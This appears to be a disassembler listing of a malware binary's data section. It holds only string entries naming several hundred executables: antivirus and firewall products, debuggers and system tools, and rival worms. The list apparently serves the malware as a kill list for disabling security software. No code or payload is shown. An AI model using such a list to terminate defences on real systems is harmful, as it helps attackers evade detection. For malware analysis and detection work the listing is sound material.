aMsconfig_exe	db 'MsConfiG.exe',0     ; DATA XREF: .data:0042BE88o
		align 10h
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:0042BE84o
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:0042BE80o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:0042BE7Co
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:0042BE78o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:0042BE74o
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:0042BE70o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:0042BE6Co
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:0042BE68o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:0042BE64o
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:0042BE60o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:0042BE5Co
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:0042BE58o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0042BE54o
		align 10h
aFAgobot_exe	db 'F-AGOBOT.EXE',0     ; DATA XREF: .data:0042BE50o
		align 10h
aHijackthis_exe	db 'HIJACKTHIS.EXE',0   ; DATA XREF: .data:0042BE4Co
		align 10h
a_avpm_exe	db '_AVPM.EXE',0        ; DATA XREF: .data:0042BE48o
		align 4
a_avpcc_exe	db '_AVPCC.EXE',0       ; DATA XREF: .data:0042BE44o
		align 4
a_avp32_exe	db '_AVP32.EXE',0       ; DATA XREF: .data:0042BE40o
		align 4
aZonealarm_exe	db 'ZONEALARM.EXE',0    ; DATA XREF: .data:0042BE3Co
		align 4
aZonalm2601_exe	db 'ZONALM2601.EXE',0   ; DATA XREF: .data:0042BE38o
		align 4
aZatutor_exe	db 'ZATUTOR.EXE',0      ; DATA XREF: .data:0042BE34o
aZapsetup3001_e	db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:0042BE30o
		align 4
aZapro_exe	db 'ZAPRO.EXE',0        ; DATA XREF: .data:0042BE2Co
		align 10h
aXpf202en_exe	db 'XPF202EN.EXE',0     ; DATA XREF: .data:0042BE28o
		align 10h
aWyvernworksfir	db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:0042BE24o
aWupdt_exe	db 'WUPDT.EXE',0        ; DATA XREF: .data:0042BE20o
		align 4
aWupdater_exe	db 'WUPDATER.EXE',0     ; DATA XREF: .data:0042BE1Co
		align 4
aWsbgate_exe	db 'WSBGATE.EXE',0      ; DATA XREF: .data:0042BE18o
aWrctrl_exe	db 'WRCTRL.EXE',0       ; DATA XREF: .data:0042BE14o
		align 4
aWradmin_exe	db 'WRADMIN.EXE',0      ; DATA XREF: .data:0042BE10o
aWnt_exe	db 'WNT.EXE',0          ; DATA XREF: .data:0042BE0Co
aWnad_exe	db 'WNAD.EXE',0         ; DATA XREF: .data:0042BE08o
		align 4
aWkufind_exe	db 'WKUFIND.EXE',0      ; DATA XREF: .data:0042BE04o
aWinupdate_exe	db 'WINUPDATE.EXE',0    ; DATA XREF: .data:0042BE00o
		align 4
aWintsk32_exe	db 'WINTSK32.EXE',0     ; DATA XREF: .data:0042BDFCo
		align 4
aWinstart001_ex	db 'WINSTART001.EXE',0  ; DATA XREF: .data:0042BDF8o
aWinstart_exe	db 'WINSTART.EXE',0     ; DATA XREF: .data:0042BDF4o
		align 4
aWinssk32_exe	db 'WINSSK32.EXE',0     ; DATA XREF: .data:0042BDF0o
		align 4
aWinservn_exe	db 'WINSERVN.EXE',0     ; DATA XREF: .data:0042BDECo
		align 4
aWinrecon_exe	db 'WINRECON.EXE',0     ; DATA XREF: .data:0042BDE8o
		align 4
aWinppr32_exe	db 'WINPPR32.EXE',0     ; DATA XREF: .data:0042BDE4o
		align 4
aWinnet_exe	db 'WINNET.EXE',0       ; DATA XREF: .data:0042BDE0o
		align 4
aWinmain_exe	db 'WINMAIN.EXE',0      ; DATA XREF: .data:0042BDDCo
aWinlogin_exe	db 'WINLOGIN.EXE',0     ; DATA XREF: .data:0042BDD8o
		align 10h
aWininitx_exe	db 'WININITX.EXE',0     ; DATA XREF: .data:0042BDD4o
		align 10h
aWininit_exe	db 'WININIT.EXE',0      ; DATA XREF: .data:0042BDD0o
aWininetd_exe	db 'WININETD.EXE',0     ; DATA XREF: .data:0042BDCCo
		align 4
aWindows_exe	db 'WINDOWS.EXE',0      ; DATA XREF: .data:0042BDC8o
aWindow_exe	db 'WINDOW.EXE',0       ; DATA XREF: .data:0042BDC4o
		align 4
aWinactive_exe	db 'WINACTIVE.EXE',0    ; DATA XREF: .data:0042BDC0o
		align 4
aWin32us_exe	db 'WIN32US.EXE',0      ; DATA XREF: .data:0042BDBCo
aWin32_exe	db 'WIN32.EXE',0        ; DATA XREF: .data:0042BDB8o
		align 4
aWinBugsfix_exe	db 'WIN-BUGSFIX.EXE',0  ; DATA XREF: .data:0042BDB4o
aWimmun32_exe	db 'WIMMUN32.EXE',0     ; DATA XREF: .data:0042BDB0o
		align 4
aWhoswatchingme	db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:0042BDACo
		align 10h
aWgfe95_exe	db 'WGFE95.EXE',0       ; DATA XREF: .data:0042BDA8o
		align 4
aWfindv32_exe	db 'WFINDV32.EXE',0     ; DATA XREF: .data:0042BDA4o
		align 4
aWebtrap_exe	db 'WEBTRAP.EXE',0      ; DATA XREF: .data:0042BDA0o
aWebscanx_exe	db 'WEBSCANX.EXE',0     ; DATA XREF: .data:0042BD9Co
		align 4
aWebdav_exe	db 'WEBDAV.EXE',0       ; DATA XREF: .data:0042BD98o
		align 4
aWatchdog_exe	db 'WATCHDOG.EXE',0     ; DATA XREF: .data:0042BD94o
		align 4
aW9x_exe	db 'W9X.EXE',0          ; DATA XREF: .data:0042BD90o
aW32dsm89_exe	db 'W32DSM89.EXE',0     ; DATA XREF: .data:0042BD8Co
		align 4
aVswinperse_exe	db 'VSWINPERSE.EXE',0   ; DATA XREF: .data:0042BD88o
		align 4
aVswinntse_exe	db 'VSWINNTSE.EXE',0    ; DATA XREF: .data:0042BD84o
		align 4
aVswin9xe_exe	db 'VSWIN9XE.EXE',0     ; DATA XREF: .data:0042BD80o
		align 4
aVsstat_exe	db 'VSSTAT.EXE',0       ; DATA XREF: .data:0042BD7Co
		align 4
aVsmon_exe	db 'VSMON.EXE',0        ; DATA XREF: .data:0042BD78o
		align 4
aVsmain_exe	db 'VSMAIN.EXE',0       ; DATA XREF: .data:0042BD74o
		align 10h
aVsisetup_exe	db 'VSISETUP.EXE',0     ; DATA XREF: .data:0042BD70o
		align 10h
aVshwin32_exe	db 'VSHWIN32.EXE',0     ; DATA XREF: .data:0042BD6Co
		align 10h
aVsecomr_exe	db 'VSECOMR.EXE',0      ; DATA XREF: .data:0042BD68o
aVsched_exe	db 'VSCHED.EXE',0       ; DATA XREF: .data:0042BD64o
		align 4
aVscenu6_02d30_	db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:0042BD60o
		align 4
aVscan40_exe	db 'VSCAN40.EXE',0      ; DATA XREF: .data:0042BD5Co
aVptray_exe	db 'VPTRAY.EXE',0       ; DATA XREF: .data:0042BD58o
		align 4
aVpfw30s_exe	db 'VPFW30S.EXE',0      ; DATA XREF: .data:0042BD54o
aVpc42_exe	db 'VPC42.EXE',0        ; DATA XREF: .data:0042BD50o
		align 4
aVpc32_exe	db 'VPC32.EXE',0        ; DATA XREF: .data:0042BD4Co
		align 4
aVnpc3000_exe	db 'VNPC3000.EXE',0     ; DATA XREF: .data:0042BD48o
		align 4
aVnlan300_exe	db 'VNLAN300.EXE',0     ; DATA XREF: .data:0042BD44o
		align 4
aVirusmdpersona	db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:0042BD40o
aVirHelp_exe	db 'VIR-HELP.EXE',0     ; DATA XREF: .data:0042BD3Co
		align 4
aVfsetup_exe	db 'VFSETUP.EXE',0      ; DATA XREF: .data:0042BD38o
aVettray_exe	db 'VETTRAY.EXE',0      ; DATA XREF: .data:0042BD34o
aVet95_exe	db 'VET95.EXE',0        ; DATA XREF: .data:0042BD30o
		align 4
aVet32_exe	db 'VET32.EXE',0        ; DATA XREF: .data:0042BD2Co
		align 4
aVcsetup_exe	db 'VCSETUP.EXE',0      ; DATA XREF: .data:0042BD28o
aVbwinntw_exe	db 'VBWINNTW.EXE',0     ; DATA XREF: .data:0042BD24o
		align 10h
aVbwin9x_exe	db 'VBWIN9X.EXE',0      ; DATA XREF: .data:0042BD20o
aVbust_exe	db 'VBUST.EXE',0        ; DATA XREF: .data:0042BD1Co
		align 4
aVbcons_exe	db 'VBCONS.EXE',0       ; DATA XREF: .data:0042BD18o
		align 4
aVbcmserv_exe	db 'VBCMSERV.EXE',0     ; DATA XREF: .data:0042BD14o
		align 4
aUtpost_exe	db 'UTPOST.EXE',0       ; DATA XREF: .data:0042BD10o
		align 10h
aUpgrad_exe	db 'UPGRAD.EXE',0       ; DATA XREF: .data:0042BD0Co
		align 4
aUpdate_exe	db 'UPDATE.EXE',0       ; DATA XREF: .data:0042BD04o
					; .data:0042BD08o
		align 4
aUpdat_exe	db 'UPDAT.EXE',0        ; DATA XREF: .data:0042BD00o
		align 4
aUndoboot_exe	db 'UNDOBOOT.EXE',0     ; DATA XREF: .data:0042BCFCo
		align 4
aTvtmd_exe	db 'TVTMD.EXE',0        ; DATA XREF: .data:0042BCF8o
		align 10h
aTvmd_exe	db 'TVMD.EXE',0         ; DATA XREF: .data:0042BCF4o
		align 4
aTsadbot_exe	db 'TSADBOT.EXE',0      ; DATA XREF: .data:0042BCF0o
aTrojantrap3_ex	db 'TROJANTRAP3.EXE',0  ; DATA XREF: .data:0042BCECo
aTrjsetup_exe	db 'TRJSETUP.EXE',0     ; DATA XREF: .data:0042BCE8o
		align 4
aTrjscan_exe	db 'TRJSCAN.EXE',0      ; DATA XREF: .data:0042BCE4o
aTrickler_exe	db 'TRICKLER.EXE',0     ; DATA XREF: .data:0042BCE0o
		align 4
aTracert_exe	db 'TRACERT.EXE',0      ; DATA XREF: .data:0042BCDCo
aTitaninxp_exe	db 'TITANINXP.EXE',0    ; DATA XREF: .data:0042BCD8o
		align 10h
aTitanin_exe	db 'TITANIN.EXE',0      ; DATA XREF: .data:0042BCD4o
aTgbob_exe	db 'TGBOB.EXE',0        ; DATA XREF: .data:0042BCD0o
		align 4
aTfak5_exe	db 'TFAK5.EXE',0        ; DATA XREF: .data:0042BCCCo
		align 4
aTfak_exe	db 'TFAK.EXE',0         ; DATA XREF: .data:0042BCC8o
		align 10h
aTeekids_exe	db 'TEEKIDS.EXE',0      ; DATA XREF: .data:0042BCC4o
aTds2Nt_exe	db 'TDS2-NT.EXE',0      ; DATA XREF: .data:0042BCC0o
aTds298_exe	db 'TDS2-98.EXE',0      ; DATA XREF: .data:0042BCBCo
aTds3_exe	db 'TDS-3.EXE',0        ; DATA XREF: .data:0042BCB8o
		align 10h
aTcm_exe	db 'TCM.EXE',0          ; DATA XREF: .data:0042BCB4o
aTca_exe	db 'TCA.EXE',0          ; DATA XREF: .data:0042BCB0o
aTc_exe		db 'TC.EXE',0           ; DATA XREF: .data:0042BCACo
		align 4
aTbscan_exe	db 'TBSCAN.EXE',0       ; DATA XREF: .data:0042BCA8o
		align 4
aTaumon_exe	db 'TAUMON.EXE',0       ; DATA XREF: .data:0042BCA4o
		align 10h
aTaskmon_exe	db 'TASKMON.EXE',0      ; DATA XREF: .data:0042BCA0o
aTaskmo_exe	db 'TASKMO.EXE',0       ; DATA XREF: .data:0042BC9Co
		align 4
aTaskmg_exe	db 'TASKMG.EXE',0       ; DATA XREF: .data:0042BC98o
		align 4
aSysupd_exe	db 'SYSUPD.EXE',0       ; DATA XREF: .data:0042BC94o
		align 10h
aSystem32_exe	db 'SYSTEM32.EXE',0     ; DATA XREF: .data:0042BC90o
		align 10h
aSystem_exe	db 'SYSTEM.EXE',0       ; DATA XREF: .data:0042BC8Co
		align 4
aSysedit_exe	db 'SYSEDIT.EXE',0      ; DATA XREF: .data:0042BC88o
aSymtray_exe	db 'SYMTRAY.EXE',0      ; DATA XREF: .data:0042BC84o
aSymproxysvc_ex	db 'SYMPROXYSVC.EXE',0  ; DATA XREF: .data:0042BC80o
aSweepnet_sweep	db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:0042BC7Co
		align 4
aSweep95_exe	db 'SWEEP95.EXE',0      ; DATA XREF: .data:0042BC78o
aUpd32_exe	db 'UPD32.EXE',0        ; DATA XREF: .data:0042BC74o
		align 10h
aSvshost32_exe	db 'SVSHOST32.EXE',0    ; DATA XREF: .data:0042BC70o
		align 10h
aSvshost_exe	db 'SVSHOST.EXE',0      ; DATA XREF: .data:0042BC6Co
aSvchosts_exe	db 'SVCHOSTS.EXE',0     ; DATA XREF: .data:0042BC68o
		align 4
aSvchostc_exe	db 'SVCHOSTC.EXE',0     ; DATA XREF: .data:0042BC64o
		align 4
aSvc_exe	db 'SVC.EXE',0          ; DATA XREF: .data:0042BC60o
aSupporter5_exe	db 'SUPPORTER5.EXE',0   ; DATA XREF: .data:0042BC5Co
		align 4
aSupport_exe	db 'SUPPORT.EXE',0      ; DATA XREF: .data:0042BC58o
aSupftrl_exe	db 'SUPFTRL.EXE',0      ; DATA XREF: .data:0042BC54o
aStcloader_exe	db 'STCLOADER.EXE',0    ; DATA XREF: .data:0042BC50o
		align 4
aStart_exe	db 'START.EXE',0        ; DATA XREF: .data:0042BC4Co
		align 4
aSt2_exe	db 'ST2.EXE',0          ; DATA XREF: .data:0042BC48o
aSsg_4104_exe	db 'SSG_4104.EXE',0     ; DATA XREF: .data:0042BC44o
		align 10h
aSsgrate_exe	db 'SSGRATE.EXE',0      ; DATA XREF: .data:0042BC40o
aSs3edit_exe	db 'SS3EDIT.EXE',0      ; DATA XREF: .data:0042BC3Co
aSrng_exe	db 'SRNG.EXE',0         ; DATA XREF: .data:0042BC38o
		align 4
aSrexe_exe	db 'SREXE.EXE',0        ; DATA XREF: .data:0042BC34o
		align 10h
aSpyxx_exe	db 'SPYXX.EXE',0        ; DATA XREF: .data:0042BC30o
		align 4
aSpoolsv32_exe	db 'SPOOLSV32.EXE',0    ; DATA XREF: .data:0042BC2Co
		align 4
aSpoolcv_exe	db 'SPOOLCV.EXE',0      ; DATA XREF: .data:0042BC28o
aSpoler_exe	db 'SPOLER.EXE',0       ; DATA XREF: .data:0042BC24o
		align 4
aSphinx_exe	db 'SPHINX.EXE',0       ; DATA XREF: .data:0042BC20o
		align 10h
aSpf_exe	db 'SPF.EXE',0          ; DATA XREF: .data:0042BC1Co
aSperm_exe	db 'SPERM.EXE',0        ; DATA XREF: .data:0042BC18o
		align 4
aSofi_exe	db 'SOFI.EXE',0         ; DATA XREF: .data:0042BC14o
		align 10h
aSoap_exe	db 'SOAP.EXE',0         ; DATA XREF: .data:0042BC10o
		align 4
aSmss32_exe	db 'SMSS32.EXE',0       ; DATA XREF: .data:0042BC0Co
		align 4
aSms_exe	db 'SMS.EXE',0          ; DATA XREF: .data:0042BC08o
aSmc_exe	db 'SMC.EXE',0          ; DATA XREF: .data:0042BC04o
aShowbehind_exe	db 'SHOWBEHIND.EXE',0   ; DATA XREF: .data:0042BC00o
		align 4
aShn_exe	db 'SHN.EXE',0          ; DATA XREF: .data:0042BBFCo
aShellspyinstal	db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:0042BBF8o
aSh_exe		db 'SH.EXE',0           ; DATA XREF: .data:0042BBF4o
		align 4
aSgssfw32_exe	db 'SGSSFW32.EXE',0     ; DATA XREF: .data:0042BBF0o
		align 4
aSfc_exe	db 'SFC.EXE',0          ; DATA XREF: .data:0042BBECo
aSetup_flowprot	db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:0042BBE8o
		align 10h
aSetupvameeval_	db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0042BBE4o
		align 4
aServlces_exe	db 'SERVLCES.EXE',0     ; DATA XREF: .data:0042BBE0o
		align 4
aServlce_exe	db 'SERVLCE.EXE',0      ; DATA XREF: .data:0042BBDCo
aService_exe	db 'SERVICE.EXE',0      ; DATA XREF: .data:0042BBD8o
aServ95_exe	db 'SERV95.EXE',0       ; DATA XREF: .data:0042BBD4o
		align 4
aSd_exe		db 'SD.EXE',0           ; DATA XREF: .data:0042BBD0o
		align 10h
aScvhost_exe	db 'SCVHOST.EXE',0      ; DATA XREF: .data:0042BBCCo
aScrsvr_exe	db 'SCRSVR.EXE',0       ; DATA XREF: .data:0042BBC8o
		align 4
aScrscan_exe	db 'SCRSCAN.EXE',0      ; DATA XREF: .data:0042BBC4o
aScanpm_exe	db 'SCANPM.EXE',0       ; DATA XREF: .data:0042BBC0o
		align 10h
aScan95_exe	db 'SCAN95.EXE',0       ; DATA XREF: .data:0042BBBCo
		align 4
aScan32_exe	db 'SCAN32.EXE',0       ; DATA XREF: .data:0042BBB8o
		align 4
aScam32_exe	db 'SCAM32.EXE',0       ; DATA XREF: .data:0042BBB4o
		align 4
aSc_exe		db 'SC.EXE',0           ; DATA XREF: .data:0042BBB0o
		align 4
aSbserv_exe	db 'SBSERV.EXE',0       ; DATA XREF: .data:0042BBACo
		align 4
aSavenow_exe	db 'SAVENOW.EXE',0      ; DATA XREF: .data:0042BBA8o
aSave_exe	db 'SAVE.EXE',0         ; DATA XREF: .data:0042BBA4o
		align 10h
aSahagent_exe	db 'SAHAGENT.EXE',0     ; DATA XREF: .data:0042BBA0o
		align 10h
aSafeweb_exe	db 'SAFEWEB.EXE',0      ; DATA XREF: .data:0042BB9Co
aRuxdll32_exe	db 'RUXDLL32.EXE',0     ; DATA XREF: .data:0042BB98o
		align 4
aRundll16_exe	db 'RUNDLL16.EXE',0     ; DATA XREF: .data:0042BB94o
		align 4
aRundll_exe	db 'RUNDLL.EXE',0       ; DATA XREF: .data:0042BB90o
		align 4
aRun32dll_exe	db 'RUN32DLL.EXE',0     ; DATA XREF: .data:0042BB8Co
		align 4
aRulaunch_exe	db 'RULAUNCH.EXE',0     ; DATA XREF: .data:0042BB88o
		align 4
aRtvscn95_exe	db 'RTVSCN95.EXE',0     ; DATA XREF: .data:0042BB84o
		align 4
aRtvscan_exe	db 'RTVSCAN.EXE',0      ; DATA XREF: .data:0042BB80o
aRshell_exe	db 'RSHELL.EXE',0       ; DATA XREF: .data:0042BB7Co
		align 10h
aRrguard_exe	db 'RRGUARD.EXE',0      ; DATA XREF: .data:0042BB78o
aRescue32_exe	db 'RESCUE32.EXE',0     ; DATA XREF: .data:0042BB74o
		align 4
aRescue_exe	db 'RESCUE.EXE',0       ; DATA XREF: .data:0042BB70o
		align 4
aRegedt32_exe	db 'REGEDT32.EXE',0     ; DATA XREF: .data:0042BB6Co
		align 4
aRegedit_exe	db 'REGEDIT.EXE',0      ; DATA XREF: .data:0042BB68o
aReged_exe	db 'REGED.EXE',0        ; DATA XREF: .data:0042BB64o
		align 10h
aRealmon_exe	db 'REALMON.EXE',0      ; DATA XREF: .data:0042BB60o
aRcsync_exe	db 'RCSYNC.EXE',0       ; DATA XREF: .data:0042BB5Co
		align 4
aRb32_exe	db 'RB32.EXE',0         ; DATA XREF: .data:0042BB58o
		align 4
aRay_exe	db 'RAY.EXE',0          ; DATA XREF: .data:0042BB54o
aRav8win32eng_e	db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:0042BB50o
		align 10h
aRav7win_exe	db 'RAV7WIN.EXE',0      ; DATA XREF: .data:0042BB4Co
aRav7_exe	db 'RAV7.EXE',0         ; DATA XREF: .data:0042BB48o
		align 4
aRapapp_exe	db 'RAPAPP.EXE',0       ; DATA XREF: .data:0042BB44o
		align 4
aQserver_exe	db 'QSERVER.EXE',0      ; DATA XREF: .data:0042BB40o
aQconsole_exe	db 'QCONSOLE.EXE',0     ; DATA XREF: .data:0042BB3Co
		align 10h
aPview95_exe	db 'PVIEW95.EXE',0      ; DATA XREF: .data:0042BB38o
aPussy_exe	db 'PUSSY.EXE',0        ; DATA XREF: .data:0042BB34o
		align 4
aPurge_exe	db 'PURGE.EXE',0        ; DATA XREF: .data:0042BB30o
		align 4
aPspf_exe	db 'PSPF.EXE',0         ; DATA XREF: .data:0042BB2Co
		align 10h
aProtectx_exe	db 'PROTECTX.EXE',0     ; DATA XREF: .data:0042BB28o
		align 10h
aProport_exe	db 'PROPORT.EXE',0      ; DATA XREF: .data:0042BB24o
aProgramauditor	db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:0042BB20o
		align 10h
aProcexplorerv1	db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:0042BB1Co
		align 4
aProcessmonitor	db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:0042BB18o
		align 4
aProcdump_exe	db 'PROCDUMP.EXE',0     ; DATA XREF: .data:0042BB14o
		align 4
aPrmvr_exe	db 'PRMVR.EXE',0        ; DATA XREF: .data:0042BB10o
		align 4
aPrmt_exe	db 'PRMT.EXE',0         ; DATA XREF: .data:0042BB0Co
		align 4
aPrizesurfer_ex	db 'PRIZESURFER.EXE',0  ; DATA XREF: .data:0042BB08o
aPpvstop_exe	db 'PPVSTOP.EXE',0      ; DATA XREF: .data:0042BB04o
aPptbc_exe	db 'PPTBC.EXE',0        ; DATA XREF: .data:0042BB00o
		align 4
aPpinupdt_exe	db 'PPINUPDT.EXE',0     ; DATA XREF: .data:0042BAFCo
		align 4
aPowerscan_exe	db 'POWERSCAN.EXE',0    ; DATA XREF: .data:0042BAF8o
		align 4
aPortmonitor_ex	db 'PORTMONITOR.EXE',0  ; DATA XREF: .data:0042BAF4o
aPortdetective_	db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:0042BAF0o
		align 10h
aPopscan_exe	db 'POPSCAN.EXE',0      ; DATA XREF: .data:0042BAECo
aPoproxy_exe	db 'POPROXY.EXE',0      ; DATA XREF: .data:0042BAE8o
aPop3trap_exe	db 'POP3TRAP.EXE',0     ; DATA XREF: .data:0042BAE4o
		align 4
aPlatin_exe	db 'PLATIN.EXE',0       ; DATA XREF: .data:0042BAE0o
		align 4
aPingscan_exe	db 'PINGSCAN.EXE',0     ; DATA XREF: .data:0042BADCo
		align 4
aPgmonitr_exe	db 'PGMONITR.EXE',0     ; DATA XREF: .data:0042BAD8o
		align 4
aPfwadmin_exe	db 'PFWADMIN.EXE',0     ; DATA XREF: .data:0042BAD4o
		align 4
aPf2_exe	db 'PF2.EXE',0          ; DATA XREF: .data:0042BAD0o
aPerswf_exe	db 'PERSWF.EXE',0       ; DATA XREF: .data:0042BACCo
		align 4
aPersfw_exe	db 'PERSFW.EXE',0       ; DATA XREF: .data:0042BAC8o
		align 4
aPeriscope_exe	db 'PERISCOPE.EXE',0    ; DATA XREF: .data:0042BAC4o
		align 4
aPenis_exe	db 'PENIS.EXE',0        ; DATA XREF: .data:0042BAC0o
		align 10h
aPdsetup_exe	db 'PDSETUP.EXE',0      ; DATA XREF: .data:0042BABCo
aPcscan_exe	db 'PCSCAN.EXE',0       ; DATA XREF: .data:0042BAB8o
		align 4
aPcip10117_0_ex	db 'PCIP10117_0.EXE',0  ; DATA XREF: .data:0042BAB4o
aPcfwallicon_ex	db 'PCFWALLICON.EXE',0  ; DATA XREF: .data:0042BAB0o
aPcdsetup_exe	db 'PCDSETUP.EXE',0     ; DATA XREF: .data:0042BAACo
		align 4
aPccwin98_exe	db 'PCCWIN98.EXE',0     ; DATA XREF: .data:0042BAA8o
		align 4
aPccwin97_exe	db 'PCCWIN97.EXE',0     ; DATA XREF: .data:0042BAA4o
		align 4
aPccntmon_exe	db 'PCCNTMON.EXE',0     ; DATA XREF: .data:0042BAA0o
		align 4
aPcciomon_exe	db 'PCCIOMON.EXE',0     ; DATA XREF: .data:0042BA9Co
		align 4
aPcc2k_76_1436_	db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:0042BA98o
		align 4
aPcc2002s902_ex	db 'PCC2002S902.EXE',0  ; DATA XREF: .data:0042BA94o
aPavw_exe	db 'PAVW.EXE',0         ; DATA XREF: .data:0042BA90o
		align 4
aPavsched_exe	db 'PAVSCHED.EXE',0     ; DATA XREF: .data:0042BA8Co
		align 4
aPavproxy_exe	db 'PAVPROXY.EXE',0     ; DATA XREF: .data:0042BA88o
		align 4
aPavcl_exe	db 'PAVCL.EXE',0        ; DATA XREF: .data:0042BA84o
		align 4
aPatch_exe	db 'PATCH.EXE',0        ; DATA XREF: .data:0042BA80o
		align 10h
aPanixk_exe	db 'PANIXK.EXE',0       ; DATA XREF: .data:0042BA7Co
		align 4
aPadmin_exe	db 'PADMIN.EXE',0       ; DATA XREF: .data:0042BA78o
		align 4
aOutpostproinst	db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:0042BA74o
		align 10h
aOutpostinstall	db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:0042BA70o
		align 4
aOutpost_exe	db 'OUTPOST.EXE',0      ; DATA XREF: .data:0042BA68o
					; .data:0042BA6Co
aOtfix_exe	db 'OTFIX.EXE',0        ; DATA XREF: .data:0042BA64o
		align 4
aOstronet_exe	db 'OSTRONET.EXE',0     ; DATA XREF: .data:0042BA60o
		align 4
aOptimize_exe	db 'OPTIMIZE.EXE',0     ; DATA XREF: .data:0042BA5Co
		align 4
aOnsrvr_exe	db 'ONSRVR.EXE',0       ; DATA XREF: .data:0042BA58o
		align 4
aOllydbg_exe	db 'OLLYDBG.EXE',0      ; DATA XREF: .data:0042BA54o
aNwtool16_exe	db 'NWTOOL16.EXE',0     ; DATA XREF: .data:0042BA50o
		align 4
aNwservice_exe	db 'NWSERVICE.EXE',0    ; DATA XREF: .data:0042BA4Co
		align 4
aNwinst4_exe	db 'NWINST4.EXE',0      ; DATA XREF: .data:0042BA48o
aNvsvc32_exe	db 'NVSVC32.EXE',0      ; DATA XREF: .data:0042BA44o
aNvc95_exe	db 'NVC95.EXE',0        ; DATA XREF: .data:0042BA40o
		align 4
aNvarch16_exe	db 'NVARCH16.EXE',0     ; DATA XREF: .data:0042BA3Co
		align 4
aNupgrade_exe	db 'NUPGRADE.EXE',0     ; DATA XREF: .data:0042BA34o
					; .data:0042BA38o
		align 4
aNui_exe	db 'NUI.EXE',0          ; DATA XREF: .data:0042BA30o
aNtxconfig_exe	db 'NTXconfig.EXE',0    ; DATA XREF: .data:0042BA2Co
		align 10h
aNtvdm_exe	db 'NTVDM.EXE',0        ; DATA XREF: .data:0042BA28o
		align 4
aNtrtscan_exe	db 'NTRTSCAN.EXE',0     ; DATA XREF: .data:0042BA24o
		align 4
aNt_exe		db 'NT.EXE',0           ; DATA XREF: .data:0042BA20o
		align 4
aNsupdate_exe	db 'NSUPDATE.EXE',0     ; DATA XREF: .data:0042BA1Co
		align 4
aNstask32_exe	db 'NSTASK32.EXE',0     ; DATA XREF: .data:0042BA18o
		align 4
aNssys32_exe	db 'NSSYS32.EXE',0      ; DATA XREF: .data:0042BA14o
aNsched32_exe	db 'NSCHED32.EXE',0     ; DATA XREF: .data:0042BA10o
		align 10h
aNpssvc_exe	db 'NPSSVC.EXE',0       ; DATA XREF: .data:0042BA0Co
		align 4
aNpscheck_exe	db 'NPSCHECK.EXE',0     ; DATA XREF: .data:0042BA08o
		align 4
aNprotect_exe	db 'NPROTECT.EXE',0     ; DATA XREF: .data:0042BA04o
		align 4
aNpfmessenger_e	db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:0042BA00o
		align 10h
aNpf40_tw_98_nt	db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:0042B9FCo
		align 4
aNotstart_exe	db 'NOTSTART.EXE',0     ; DATA XREF: .data:0042B9F8o
		align 4
aNorton_interne	db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0042B9F4o
		align 10h
aNormist_exe	db 'NORMIST.EXE',0      ; DATA XREF: .data:0042B9F0o
aNod32_exe	db 'NOD32.EXE',0        ; DATA XREF: .data:0042B9ECo
		align 4
aNmain_exe	db 'NMAIN.EXE',0        ; DATA XREF: .data:0042B9E8o
		align 4
aNisum_exe	db 'NISUM.EXE',0        ; DATA XREF: .data:0042B9E4o
		align 10h
aNisserv_exe	db 'NISSERV.EXE',0      ; DATA XREF: .data:0042B9E0o
aNetutils_exe	db 'NETUTILS.EXE',0     ; DATA XREF: .data:0042B9DCo
		align 4
aNetstat_exe	db 'NETSTAT.EXE',0      ; DATA XREF: .data:0042B9D8o
aNetspyhunter1_	db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0042B9D4o
		align 10h
aNetscanpro_exe	db 'NETSCANPRO.EXE',0   ; DATA XREF: .data:0042B9D0o
		align 10h
aNetmon_exe	db 'NETMON.EXE',0       ; DATA XREF: .data:0042B9CCo
		align 4
aNetinfo_exe	db 'NETINFO.EXE',0      ; DATA XREF: .data:0042B9C8o
aNetd32_exe	db 'NETD32.EXE',0       ; DATA XREF: .data:0042B9C4o
		align 4
aNetarmor_exe	db 'NETARMOR.EXE',0     ; DATA XREF: .data:0042B9C0o
		align 4
aNeowatchlog_ex	db 'NEOWATCHLOG.EXE',0  ; DATA XREF: .data:0042B9BCo
aNeomonitor_exe	db 'NEOMONITOR.EXE',0   ; DATA XREF: .data:0042B9B8o
		align 4
aNdd32_exe	db 'NDD32.EXE',0        ; DATA XREF: .data:0042B9B4o
		align 10h
